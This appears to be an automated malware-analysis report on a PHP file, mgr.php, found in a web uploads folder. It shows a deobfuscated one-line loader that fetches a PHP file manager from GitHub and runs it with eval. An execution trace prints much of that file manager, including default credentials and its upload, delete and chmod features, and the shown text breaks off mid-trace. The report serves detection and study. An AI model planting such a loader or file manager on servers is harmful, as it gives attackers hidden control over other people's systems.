PHP Malware Analysis

mgr.php

md5: acd28dd5608a9be9a40b7cc34eb15c6d

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs
  • http://localhost (Traces)
  • http://localhost/mgr.php?img=favicon (HTML)
  • http://localhost/mgr.php?img=sprites& (HTML)
  • http://localhost/uploads/mgr.php (Traces)
  • http://php.net/manual/en/timezones.php (Traces)
  • https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js (Traces)
  • https://github.com/alexantr/filemanager (HTML, Traces)
  • https://highlightjs.org/ (Traces)
  • https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php (Deobfuscated, Original, Traces)


Deobfuscated PHP code

<?php

eval("?>" . file_get_contents("https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php"));

Execution traces

data/traces/acd28dd5608a9be9a40b7cc34eb15c6d_trace-1676257418.3489.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:04:04.246761]
1	0	1	0.000307	393512
1	3	0	0.000364	393544	{main}	1		/var/www/html/uploads/mgr.php	0	0
2	4	0	0.000382	393544	file_get_contents	0		/var/www/html/uploads/mgr.php	1	1	'https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php'
2	4	1	0.047825	470304
2	4	R			'<?php\n/**\n * PHP File Manager (2017-08-07)\n * https://github.com/alexantr/filemanager\n */\n\n// Auth with login/password (set true/false to enable/disable it)\n$use_auth = true;\n\n// Users: array(\'Username\' => \'Password\', \'Username2\' => \'Password2\', ...)\n$auth_users = array(\n    \'fm_admin\' => \'fm_admin\',\n);\n\n// Enable highlight.js (https://highlightjs.org/) on view\'s page\n$use_highlightjs = true;\n\n// highlight.js style\n$highlightjs_style = \'vs\';\n\n// Default timezone for date()'
2	5	0	0.049662	881600	eval	1	'?><?php\n/**\n * PHP File Manager (2017-08-07)\n * https://github.com/alexantr/filemanager\n */\n\n// Auth with login/password (set true/false to enable/disable it)\n$use_auth = true;\n\n// Users: array(\'Username\' => \'Password\', \'Username2\' => \'Password2\', ...)\n$auth_users = array(\n    \'fm_admin\' => \'fm_admin\',\n);\n\n// Enable highlight.js (https://highlightjs.org/) on view\'s page\n$use_highlightjs = true;\n\n// highlight.js style\n$highlightjs_style = \'vs\';\n\n// Default timezone for date() and time() - http://php.net/manual/en/timezones.php\n$default_timezone = \'Europe/Minsk\'; // UTC+3\n\n// Root path for file manager\n$root_path = $_SERVER[\'DOCUMENT_ROOT\'];\n\n// Root url for links in file manager.Relative to $http_host. Variants: \'\', \'path/to/subfolder\'\n// Will not working if $root_path will be outside of server document root\n$root_url = \'\';\n\n// Server hostname. Can set manually if wrong\n$http_host = $_SERVER[\'HTTP_HOST\'];\n\n// input encoding for iconv\n$iconv_input_encoding = \'CP1251\';\n\n// date() format for file modification date\n$datetime_format = \'d.m.y H:i\';\n\n//--- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL\n\n// if fm included\nif (defined(\'FM_EMBED\')) {\n    $use_auth = false;\n} else {\n    @set_time_limit(600);\n\n    date_default_timezone_set($default_timezone);\n\n    ini_set(\'default_charset\', \'UTF-8\');\n    if (version_compare(PHP_VERSION, \'5.6.0\', \'<\') && function_exists(\'mb_internal_encoding\')) {\n        mb_internal_encoding(\'UTF-8\');\n    }\n    if (function_exists(\'mb_regex_encoding\')) {\n        mb_regex_encoding(\'UTF-8\');\n    }\n\n    session_cache_limiter(\'\');\n    session_name(\'filemanager\');\n    session_start();\n}\n\nif (empty($auth_users)) {\n    $use_auth = false;\n}\n\n$is_https = isset($_SERVER[\'HTTPS\']) && ($_SERVER[\'HTTPS\'] == \'on\' || $_SERVER[\'HTTPS\'] == 1)\n    || isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] == \'https\';\n\n// clean and check $root_path\n$root_path = rtrim($root_path, \'\\\\/\');\n$root_path = str_replace(\'\\\\\', \'/\', $root_path);\nif (!@is_dir($root_path)) {\n    echo sprintf(\'<h1>Root path "%s" not found!</h1>\', fm_enc($root_path));\n    exit;\n}\n\n// clean $root_url\n$root_url = fm_clean_path($root_url);\n\n// abs path for site\ndefined(\'FM_ROOT_PATH\') || define(\'FM_ROOT_PATH\', $root_path);\ndefined(\'FM_ROOT_URL\') || define(\'FM_ROOT_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . (!empty($root_url) ? \'/\' . $root_url : \'\'));\ndefined(\'FM_SELF_URL\') || define(\'FM_SELF_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . $_SERVER[\'PHP_SELF\']);\n\n// logout\nif (isset($_GET[\'logout\'])) {\n    unset($_SESSION[\'logged\']);\n    fm_redirect(FM_SELF_URL);\n}\n\n// Show image here\nif (isset($_GET[\'img\'])) {\n    fm_show_image($_GET[\'img\']);\n}\n\n// Auth\nif ($use_auth) {\n    if (isset($_SESSION[\'logged\'], $auth_users[$_SESSION[\'logged\']])) {\n        // Logged\n    } elseif (isset($_POST[\'fm_usr\'], $_POST[\'fm_pwd\'])) {\n        // Logging In\n        sleep(1);\n        if (isset($auth_users[$_POST[\'fm_usr\']]) && $_POST[\'fm_pwd\'] === $auth_users[$_POST[\'fm_usr\']]) {\n            $_SESSION[\'logged\'] = $_POST[\'fm_usr\'];\n            fm_set_msg(\'You are logged in\');\n            fm_redirect(FM_SELF_URL . \'?p=\');\n        } else {\n            unset($_SESSION[\'logged\']);\n            fm_set_msg(\'Wrong password\', \'error\');\n            fm_redirect(FM_SELF_URL);\n        }\n    } else {\n        // Form\n        unset($_SESSION[\'logged\']);\n        fm_show_header();\n        fm_show_message();\n        ?>\n        <div class="path">\n            <form action="" method="post" style="margin:10px;text-align:center">\n                <input name="fm_usr" value="" placeholder="Username" required>\n                <input type="password" name="fm_pwd" value="" placeholder="Password" required>\n                <input type="submit" value="Login">\n            </form>\n        </div>\n        <?php\n        fm_show_footer();\n        exit;\n    }\n}\n\ndefine(\'FM_IS_WIN\', DIRECTORY_SEPARATOR == \'\\\\\');\n\n// always use ?p=\nif (!isset($_GET[\'p\'])) {\n    fm_redirect(FM_SELF_URL . \'?p=\');\n}\n\n// get path\n$p = isset($_GET[\'p\']) ? $_GET[\'p\'] : (isset($_POST[\'p\']) ? $_POST[\'p\'] : \'\');\n\n// clean path\n$p = fm_clean_path($p);\n\n// instead globals vars\ndefine(\'FM_PATH\', $p);\ndefine(\'FM_USE_AUTH\', $use_auth);\n\ndefined(\'FM_ICONV_INPUT_ENC\') || define(\'FM_ICONV_INPUT_ENC\', $iconv_input_encoding);\ndefined(\'FM_USE_HIGHLIGHTJS\') || define(\'FM_USE_HIGHLIGHTJS\', $use_highlightjs);\ndefined(\'FM_HIGHLIGHTJS_STYLE\') || define(\'FM_HIGHLIGHTJS_STYLE\', $highlightjs_style);\ndefined(\'FM_DATETIME_FORMAT\') || define(\'FM_DATETIME_FORMAT\', $datetime_format);\n\nunset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);\n\n/*************************** ACTIONS ***************************/\n\n// Delete file / folder\nif (isset($_GET[\'del\'])) {\n    $del = $_GET[\'del\'];\n    $del = fm_clean_path($del);\n    $del = str_replace(\'/\', \'\', $del);\n    if ($del != \'\' && $del != \'..\' && $del != \'.\') {\n        $path = FM_ROOT_PATH;\n        if (FM_PATH != \'\') {\n            $path .= \'/\' . FM_PATH;\n        }\n        $is_dir = is_dir($path . \'/\' . $del);\n        if (fm_rdelete($path . \'/\' . $del)) {\n            $msg = $is_dir ? \'Folder <b>%s</b> deleted\' : \'File <b>%s</b> deleted\';\n            fm_set_msg(sprintf($msg, fm_enc($del)));\n        } else {\n            $msg = $is_dir ? \'Folder <b>%s</b> not deleted\' : \'File <b>%s</b> not deleted\';\n            fm_set_msg(sprintf($msg, fm_enc($del)), \'error\');\n        }\n    } else {\n        fm_set_msg(\'Wrong file or folder name\', \'error\');\n    }\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Create folder\nif (isset($_GET[\'new\'])) {\n    $new = strip_tags($_GET[\'new\']); // remove unwanted characters from folder name\n    $new = fm_clean_path($new);\n    $new = str_replace(\'/\', \'\', $new);\n    if ($new != \'\' && $new != \'..\' && $new != \'.\') {\n        $path = FM_ROOT_PATH;\n        if (FM_PATH != \'\') {\n            $path .= \'/\' . FM_PATH;\n        }\n        if (fm_mkdir($path . \'/\' . $new, false) === true) {\n            fm_set_msg(sprintf(\'Folder <b>%s</b> created\', fm_enc($new)));\n        } elseif (fm_mkdir($path . \'/\' . $new, false) === $path . \'/\' . $new) {\n            fm_set_msg(sprintf(\'Folder <b>%s</b> already exists\', fm_enc($new)), \'alert\');\n        } else {\n            fm_set_msg(sprintf(\'Folder <b>%s</b> not created\', fm_enc($new)), \'error\');\n        }\n    } else {\n        fm_set_msg(\'Wrong folder name\', \'error\');\n    }\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Copy folder / file\nif (isset($_GET[\'copy\'], $_GET[\'finish\'])) {\n    // from\n    $copy = $_GET[\'copy\'];\n    $copy = fm_clean_path($copy);\n    // empty path\n    if ($copy == \'\') {\n        fm_set_msg(\'Source path not defined\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n    // abs path from\n    $from = FM_ROOT_PATH . \'/\' . $copy;\n    // abs path to\n    $dest = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $dest .= \'/\' . FM_PATH;\n    }\n    $dest .= \'/\' . basename($from);\n    // move?\n    $move = isset($_GET[\'move\']);\n    // copy/move\n    if ($from != $dest) {\n        $msg_from = trim(FM_PATH . \'/\' . basename($from), \'/\');\n        if ($move) {\n            $rename = fm_rename($from, $dest);\n            if ($rename) {\n                fm_set_msg(sprintf(\'Moved from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)));\n            } elseif ($rename === null) {\n                fm_set_msg(\'File or folder with this path already exists\', \'alert\');\n            } else {\n                fm_set_msg(sprintf(\'Error while moving from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)), \'error\');\n            }\n        } else {\n            if (fm_rcopy($from, $dest)) {\n                fm_set_msg(sprintf(\'Copyied from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)));\n            } else {\n                fm_set_msg(sprintf(\'Error while copying from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)), \'error\');\n            }\n        }\n    } else {\n        fm_set_msg(\'Paths must be not equal\', \'alert\');\n    }\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Mass copy files/ folders\nif (isset($_POST[\'file\'], $_POST[\'copy_to\'], $_POST[\'finish\'])) {\n    // from\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n    // to\n    $copy_to_path = FM_ROOT_PATH;\n    $copy_to = fm_clean_path($_POST[\'copy_to\']);\n    if ($copy_to != \'\') {\n        $copy_to_path .= \'/\' . $copy_to;\n    }\n    if ($path == $copy_to_path) {\n        fm_set_msg(\'Paths must be not equal\', \'alert\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n    if (!is_dir($copy_to_path)) {\n        if (!fm_mkdir($copy_to_path, true)) {\n            fm_set_msg(\'Unable to create destination folder\', \'error\');\n            fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n        }\n    }\n    // move?\n    $move = isset($_POST[\'move\']);\n    // copy/move\n    $errors = 0;\n    $files = $_POST[\'file\'];\n    if (is_array($files) && count($files)) {\n        foreach ($files as $f) {\n            if ($f != \'\') {\n                // abs path from\n                $from = $path . \'/\' . $f;\n                // abs path to\n                $dest = $copy_to_path . \'/\' . $f;\n                // do\n                if ($move) {\n                    $rename = fm_rename($from, $dest);\n                    if ($rename === false) {\n                        $errors++;\n                    }\n                } else {\n                    if (!fm_rcopy($from, $dest)) {\n                        $errors++;\n                    }\n                }\n            }\n        }\n        if ($errors == 0) {\n            $msg = $move ? \'Selected files and folders moved\' : \'Selected files and folders copied\';\n            fm_set_msg($msg);\n        } else {\n            $msg = $move ? \'Error while moving items\' : \'Error while copying items\';\n            fm_set_msg($msg, \'error\');\n        }\n    } else {\n        fm_set_msg(\'Nothing selected\', \'alert\');\n    }\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Rename\nif (isset($_GET[\'ren\'], $_GET[\'to\'])) {\n    // old name\n    $old = $_GET[\'ren\'];\n    $old = fm_clean_path($old);\n    $old = str_replace(\'/\', \'\', $old);\n    // new name\n    $new = $_GET[\'to\'];\n    $new = fm_clean_path($new);\n    $new = str_replace(\'/\', \'\', $new);\n    // path\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n    // rename\n    if ($old != \'\' && $new != \'\') {\n        if (fm_rename($path . \'/\' . $old, $path . \'/\' . $new)) {\n            fm_set_msg(sprintf(\'Renamed from <b>%s</b> to <b>%s</b>\', fm_enc($old), fm_enc($new)));\n        } else {\n            fm_set_msg(sprintf(\'Error while renaming from <b>%s</b> to <b>%s</b>\', fm_enc($old), fm_enc($new)), \'error\');\n        }\n    } else {\n        fm_set_msg(\'Names not set\', \'error\');\n    }\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Download\nif (isset($_GET[\'dl\'])) {\n    $dl = $_GET[\'dl\'];\n    $dl = fm_clean_path($dl);\n    $dl = str_replace(\'/\', \'\', $dl);\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n    if ($dl != \'\' && is_file($path . \'/\' . $dl)) {\n        header(\'Content-Description: File Transfer\');\n        header(\'Content-Type: application/octet-stream\');\n        header(\'Content-Disposition: attachment; filename="\' . basename($path . \'/\' . $dl) . \'"\');\n        header(\'Content-Transfer-Encoding: binary\');\n        header(\'Connection: Keep-Alive\');\n        header(\'Expires: 0\');\n        header(\'Cache-Control: must-revalidate, post-check=0, pre-check=0\');\n        header(\'Pragma: public\');\n        header(\'Content-Length: \' . filesize($path . \'/\' . $dl));\n        readfile($path . \'/\' . $dl);\n        exit;\n    } else {\n        fm_set_msg(\'File not found\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n}\n\n// Upload\nif (isset($_POST[\'upl\'])) {\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n\n    $errors = 0;\n    $uploads = 0;\n    $total = count($_FILES[\'upload\'][\'name\']);\n\n    for ($i = 0; $i < $total; $i++) {\n        $tmp_name = $_FILES[\'upload\'][\'tmp_name\'][$i];\n        if (empty($_FILES[\'upload\'][\'error\'][$i]) && !empty($tmp_name) && $tmp_name != \'none\') {\n            if (move_uploaded_file($tmp_name, $path . \'/\' . $_FILES[\'upload\'][\'name\'][$i])) {\n                $uploads++;\n            } else {\n                $errors++;\n            }\n        }\n    }\n\n    if ($errors == 0 && $uploads > 0) {\n        fm_set_msg(sprintf(\'All files uploaded to <b>%s</b>\', fm_enc($path)));\n    } elseif ($errors == 0 && $uploads == 0) {\n        fm_set_msg(\'Nothing uploaded\', \'alert\');\n    } else {\n        fm_set_msg(sprintf(\'Error while uploading files. Uploaded files: %s\', $uploads), \'error\');\n    }\n\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Mass deleting\nif (isset($_POST[\'group\'], $_POST[\'delete\'])) {\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n\n    $errors = 0;\n    $files = $_POST[\'file\'];\n    if (is_array($files) && count($files)) {\n        foreach ($files as $f) {\n            if ($f != \'\') {\n                $new_path = $path . \'/\' . $f;\n                if (!fm_rdelete($new_path)) {\n                    $errors++;\n                }\n            }\n        }\n        if ($errors == 0) {\n            fm_set_msg(\'Selected files and folder deleted\');\n        } else {\n            fm_set_msg(\'Error while deleting items\', \'error\');\n        }\n    } else {\n        fm_set_msg(\'Nothing selected\', \'alert\');\n    }\n\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Pack files\nif (isset($_POST[\'group\'], $_POST[\'zip\'])) {\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n\n    if (!class_exists(\'ZipArchive\')) {\n        fm_set_msg(\'Operations with archives are not available\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n\n    $files = $_POST[\'file\'];\n    if (!empty($files)) {\n        chdir($path);\n\n        if (count($files) == 1) {\n            $one_file = reset($files);\n            $one_file = basename($one_file);\n            $zipname = $one_file . \'_\' . date(\'ymd_His\') . \'.zip\';\n        } else {\n            $zipname = \'archive_\' . date(\'ymd_His\') . \'.zip\';\n        }\n\n        $zipper = new FM_Zipper();\n        $res = $zipper->create($zipname, $files);\n\n        if ($res) {\n            fm_set_msg(sprintf(\'Archive <b>%s</b> created\', fm_enc($zipname)));\n        } else {\n            fm_set_msg(\'Archive not created\', \'error\');\n        }\n    } else {\n        fm_set_msg(\'Nothing selected\', \'alert\');\n    }\n\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Unpack\nif (isset($_GET[\'unzip\'])) {\n    $unzip = $_GET[\'unzip\'];\n    $unzip = fm_clean_path($unzip);\n    $unzip = str_replace(\'/\', \'\', $unzip);\n\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n\n    if (!class_exists(\'ZipArchive\')) {\n        fm_set_msg(\'Operations with archives are not available\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n\n    if ($unzip != \'\' && is_file($path . \'/\' . $unzip)) {\n        $zip_path = $path . \'/\' . $unzip;\n\n        //to folder\n        $tofolder = \'\';\n        if (isset($_GET[\'tofolder\'])) {\n            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);\n            if (fm_mkdir($path . \'/\' . $tofolder, true)) {\n                $path .= \'/\' . $tofolder;\n            }\n        }\n\n        $zipper = new FM_Zipper();\n        $res = $zipper->unzip($zip_path, $path);\n\n        if ($res) {\n            fm_set_msg(\'Archive unpacked\');\n        } else {\n            fm_set_msg(\'Archive not unpacked\', \'error\');\n        }\n\n    } else {\n        fm_set_msg(\'File not found\', \'error\');\n    }\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n// Change Perms (not for Windows)\nif (isset($_POST[\'chmod\']) && !FM_IS_WIN) {\n    $path = FM_ROOT_PATH;\n    if (FM_PATH != \'\') {\n        $path .= \'/\' . FM_PATH;\n    }\n\n    $file = $_POST[\'chmod\'];\n    $file = fm_clean_path($file);\n    $file = str_replace(\'/\', \'\', $file);\n    if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {\n        fm_set_msg(\'File not found\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n\n    $mode = 0;\n    if (!empty($_POST[\'ur\'])) {\n        $mode |= 0400;\n    }\n    if (!empty($_POST[\'uw\'])) {\n        $mode |= 0200;\n    }\n    if (!empty($_POST[\'ux\'])) {\n        $mode |= 0100;\n    }\n    if (!empty($_POST[\'gr\'])) {\n        $mode |= 0040;\n    }\n    if (!empty($_POST[\'gw\'])) {\n        $mode |= 0020;\n    }\n    if (!empty($_POST[\'gx\'])) {\n        $mode |= 0010;\n    }\n    if (!empty($_POST[\'or\'])) {\n        $mode |= 0004;\n    }\n    if (!empty($_POST[\'ow\'])) {\n        $mode |= 0002;\n    }\n    if (!empty($_POST[\'ox\'])) {\n        $mode |= 0001;\n    }\n\n    if (@chmod($path . \'/\' . $file, $mode)) {\n        fm_set_msg(\'Permissions changed\');\n    } else {\n        fm_set_msg(\'Permissions not changed\', \'error\');\n    }\n\n    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n}\n\n/*************************** /ACTIONS ***************************/\n\n// get current path\n$path = FM_ROOT_PATH;\nif (FM_PATH != \'\') {\n    $path .= \'/\' . FM_PATH;\n}\n\n// check path\nif (!is_dir($path)) {\n    fm_redirect(FM_SELF_URL . \'?p=\');\n}\n\n// get parent folder\n$parent = fm_get_parent_path(FM_PATH);\n\n$objects = is_readable($path) ? scandir($path) : array();\n$folders = array();\n$files = array();\nif (is_array($objects)) {\n    foreach ($objects as $file) {\n        if ($file == \'.\' || $file == \'..\') {\n            continue;\n        }\n        $new_path = $path . \'/\' . $file;\n        if (is_file($new_path)) {\n            $files[] = $file;\n        } elseif (is_dir($new_path) && $file != \'.\' && $file != \'..\') {\n            $folders[] = $file;\n        }\n    }\n}\n\nif (!empty($files)) {\n    natcasesort($files);\n}\nif (!empty($folders)) {\n    natcasesort($folders);\n}\n\n// upload form\nif (isset($_GET[\'upload\'])) {\n    fm_show_header(); // HEADER\n    fm_show_nav_path(FM_PATH); // current path\n    ?>\n    <div class="path">\n        <p><b>Uploading files</b></p>\n        <p class="break-word">Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?></p>\n        <form action="" method="post" enctype="multipart/form-data">\n            <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">\n            <input type="hidden" name="upl" value="1">\n            <input type="file" name="upload[]"><br>\n            <input type="file" name="upload[]"><br>\n            <input type="file" name="upload[]"><br>\n            <input type="file" name="upload[]"><br>\n            <input type="file" name="upload[]"><br>\n            <br>\n            <p>\n                <button class="btn"><i class="icon-apply"></i> Upload</button> &nbsp;\n                <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b>\n            </p>\n        </form>\n    </div>\n    <?php\n    fm_show_footer();\n    exit;\n}\n\n// copy form POST\nif (isset($_POST[\'copy\'])) {\n    $copy_files = $_POST[\'file\'];\n    if (!is_array($copy_files) || empty($copy_files)) {\n        fm_set_msg(\'Nothing selected\', \'alert\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n\n    fm_show_header(); // HEADER\n    fm_show_nav_path(FM_PATH); // current path\n    ?>\n    <div class="path">\n        <p><b>Copying</b></p>\n        <form action="" method="post">\n            <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">\n            <input type="hidden" name="finish" value="1">\n            <?php\n            foreach ($copy_files as $cf) {\n                echo \'<input type="hidden" name="file[]" value="\' . fm_enc($cf) . \'">\' . PHP_EOL;\n            }\n            $copy_files_enc = array_map(\'fm_enc\', $copy_files);\n            ?>\n            <p class="break-word">Files: <b><?php echo implode(\'</b>, <b>\', $copy_files_enc) ?></b></p>\n            <p class="break-word">Source folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?><br>\n                <label for="inp_copy_to">Destination folder:</label>\n                <?php echo FM_ROOT_PATH ?>/<input name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">\n            </p>\n            <p><label><input type="checkbox" name="move" value="1"> Move</label></p>\n            <p>\n                <button class="btn"><i class="icon-apply"></i> Copy</button> &nbsp;\n                <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b>\n            </p>\n        </form>\n    </div>\n    <?php\n    fm_show_footer();\n    exit;\n}\n\n// copy form\nif (isset($_GET[\'copy\']) && !isset($_GET[\'finish\'])) {\n    $copy = $_GET[\'copy\'];\n    $copy = fm_clean_path($copy);\n    if ($copy == \'\' || !file_exists(FM_ROOT_PATH . \'/\' . $copy)) {\n        fm_set_msg(\'File not found\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n\n    fm_show_header(); // HEADER\n    fm_show_nav_path(FM_PATH); // current path\n    ?>\n    <div class="path">\n        <p><b>Copying</b></p>\n        <p class="break-word">\n            Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . $copy)) ?><br>\n            Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?>\n        </p>\n        <p>\n            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="icon-apply"></i> Copy</a></b> &nbsp;\n            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="icon-apply"></i> Move</a></b> &nbsp;\n            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b>\n        </p>\n        <p><i>Select folder:</i></p>\n        <ul class="folders break-word">\n            <?php\n            if ($parent !== false) {\n                ?>\n                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="icon-arrow_up"></i> ..</a></li>\n            <?php\n            }\n            foreach ($folders as $f) {\n                ?>\n                <li><a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="icon-folder"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a></li>\n            <?php\n            }\n            ?>\n        </ul>\n    </div>\n    <?php\n    fm_show_footer();\n    exit;\n}\n\n// file viewer\nif (isset($_GET[\'view\'])) {\n    $file = $_GET[\'view\'];\n    $file = fm_clean_path($file);\n    $file = str_replace(\'/\', \'\', $file);\n    if ($file == \'\' || !is_file($path . \'/\' . $file)) {\n        fm_set_msg(\'File not found\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n\n    fm_show_header(); // HEADER\n    fm_show_nav_path(FM_PATH); // current path\n\n    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file);\n    $file_path = $path . \'/\' . $file;\n\n    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));\n    $mime_type = fm_get_mime_type($file_path);\n    $filesize = filesize($file_path);\n\n    $is_zip = false;\n    $is_image = false;\n    $is_audio = false;\n    $is_video = false;\n    $is_text = false;\n\n    $view_title = \'File\';\n    $filenames = false; // for zip\n    $content = \'\'; // for text\n\n    if ($ext == \'zip\') {\n        $is_zip = true;\n        $view_title = \'Archive\';\n        $filenames = fm_get_zif_info($file_path);\n    } elseif (in_array($ext, fm_get_image_exts())) {\n        $is_image = true;\n        $view_title = \'Image\';\n    } elseif (in_array($ext, fm_get_audio_exts())) {\n        $is_audio = true;\n        $view_title = \'Audio\';\n    } elseif (in_array($ext, fm_get_video_exts())) {\n        $is_video = true;\n        $view_title = \'Video\';\n    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == \'text\' || in_array($mime_type, fm_get_text_mimes())) {\n        $is_text = true;\n        $content = file_get_contents($file_path);\n    }\n\n    ?>\n    <div class="path">\n        <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>\n        <p class="break-word">\n            Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>\n            File size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf(\'%s bytes\', $filesize) ?>)<?php endif; ?><br>\n            MIME-type: <?php echo $mime_type ?><br>\n            <?php\n            // ZIP info\n            if ($is_zip && $filenames !== false) {\n                $total_files = 0;\n                $total_comp = 0;\n                $total_uncomp = 0;\n                foreach ($filenames as $fn) {\n                    if (!$fn[\'folder\']) {\n                        $total_files++;\n                    }\n                    $total_comp += $fn[\'compressed_size\'];\n                    $total_uncomp += $fn[\'filesize\'];\n                }\n                ?>\n                Files in archive: <?php echo $total_files ?><br>\n                Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>\n                Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>\n                Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>\n                <?php\n            }\n            // Image info\n            if ($is_image) {\n                $image_size = getimagesize($file_path);\n                echo \'Image sizes: \' . (isset($image_size[0]) ? $image_size[0] : \'0\') . \' x \' . (isset($image_size[1]) ? $image_size[1] : \'0\') . \'<br>\';\n            }\n            // Text info\n            if ($is_text) {\n                $is_utf8 = fm_is_utf8($content);\n                if (function_exists(\'iconv\')) {\n                    if (!$is_utf8) {\n                        $content = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $content);\n                    }\n                }\n                echo \'Charset: \' . ($is_utf8 ? \'utf-8\' : \'8 bit\') . \'<br>\';\n            }\n            ?>\n        </p>\n        <p>\n            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="icon-download"></i> Download</a></b> &nbsp;\n            <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="icon-chain"></i> Open</a></b> &nbsp;\n            <?php\n            // ZIP actions\n            if ($is_zip && $filenames !== false) {\n                $zip_name = pathinfo($file_path, PATHINFO_FILENAME);\n                ?>\n                <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="icon-apply"></i> Unpack</a></b> &nbsp;\n                <b><a href="?p=<?php echo urlencode(FM_PATH) 